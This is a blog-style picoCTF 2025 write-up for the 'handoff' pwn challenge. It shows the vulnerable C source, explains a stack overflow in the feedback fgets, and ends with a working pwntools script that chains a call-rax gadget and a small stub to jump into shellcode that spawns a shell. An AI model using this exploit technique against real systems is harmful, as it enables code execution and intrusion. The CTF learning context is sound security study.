pwn/picoCTF 2025: handoff -> "hard"??
- author

- Name
- acn1
- Github
- @imAcni
im learning binary exploitation right now and I wanted to come back to some challenges that I couldn't do when I was starting out in CTFs earlier this year, doing picoCTF 2025.
part 1
Source code:
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
int vuln() {
char feedback[8];
entry_t entries[10];
int total_entries = 0;
int choice = -1;
// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
while (true) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
getchar(); // Remove trailing \n
// Add entry
if (choice == 1) {
choice = -1;
// Check for max entries
if (total_entries >= MAX_ENTRIES) {
puts("Max recipients reached!");
continue;
}
// Add a new entry
puts("What's the new recipient's name: ");
fflush(stdin);
fgets(entries[total_entries].name, NAME_LEN, stdin);
total_entries++;
}
// Add message
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1) exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
}
else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
else {
choice = -1;
puts("Invalid option");
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output)
vuln();
return 0;
}
Looking at the source code, there is a buffer overflow in choice 3: Exit the app.
It does these:
char feedback[8];
#define NAME_LEN 32
fgets(feedback, NAME_LEN, stdin);
So there is a buffer overflow of 24 bytes in this fgets(). It holds 8 characters while it feeds in name_len, which is 32 bytes.
going to find amount of characters from the feedback buffer to overflow to $rip:
So the difference between the feedback buffer and $rip is 20 bytes. Since the shellcode payload is too big to fit in this overflow, I'm going to place it in one of the message, since it holds many more bytes.
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
p.sendlineafter(b"3. Exit the app", b"1")
p.sendlineafter(b"new recipient's name:", b"AAAAAAAA")
p.sendlineafter(b"3. Exit the app", b"2")
p.sendlineafter(b"you like to send a message to?", "0")
p.sendlineafter(b"send them?", shellcode)
p.sendlineafter(b"3. Exit the app", b"3")
So I put the shellcode in one of the messages. In order to execute and direct execution to this shellcode, i decided to do this:
- At the saved rip, place
call raxat saved rip- this is because when fgets() is called, then
raxis set to the start of the buffer. - allows us to redirect execution to the start of the
feedbackbuffer.
- this is because when fgets() is called, then
- In the
feedbackbuffer, place a small shellcode script to subtract the difference betweenraxand the start of the main shellcode in the message struct, where i placed it before. Then docall raxagain.- this will direct execution to rax, and to main shellcode.

so to find the difference, i will place a breakpoint on the fgets() for my message instead, and then note down the address of rax. Then i subtract the original rax in the feedback buffer from the new rax from the message buffer. This will give us the location of our message buffer since the offset doesn't change.

now we can do
sub rax, 0x2cc
jmp rax
and then + "a"*## to saved rip, which will call rax
in the first part of our shellcode.

After this, we can assemble the script:
from pwn import *
context.binary = binary = ELF('./handoff', checksec=False)
p = remote('shape-facility.picoctf.net', 54036)
exitcode = asm ('''
nop
nop
nop
sub rax, 0x2cc
jmp rax
''')
exitcode = exitcode.ljust(20, b'a') + p64(0x0000000000401014)
shellcode = b"\x90"*10 + asm(shellcraft.sh())
p.sendlineafter(b"3. Exit the app", b"1")
p.sendlineafter(b"new recipient's name:", b"AAAAAAAA")
p.sendlineafter(b"3. Exit the app", b"2")
p.sendlineafter(b"you like to send a message to?", "0")
p.sendlineafter(b"send them?", shellcode)
p.sendlineafter(b"3. Exit the app", b"3")
p.sendline(exitcode)
p.interactive()
i added some nops since it didnt work at first idk also make sure to watch out for
feedback[7] = '\0';
Overall, not too hard, maybe i will do better next year in pico.
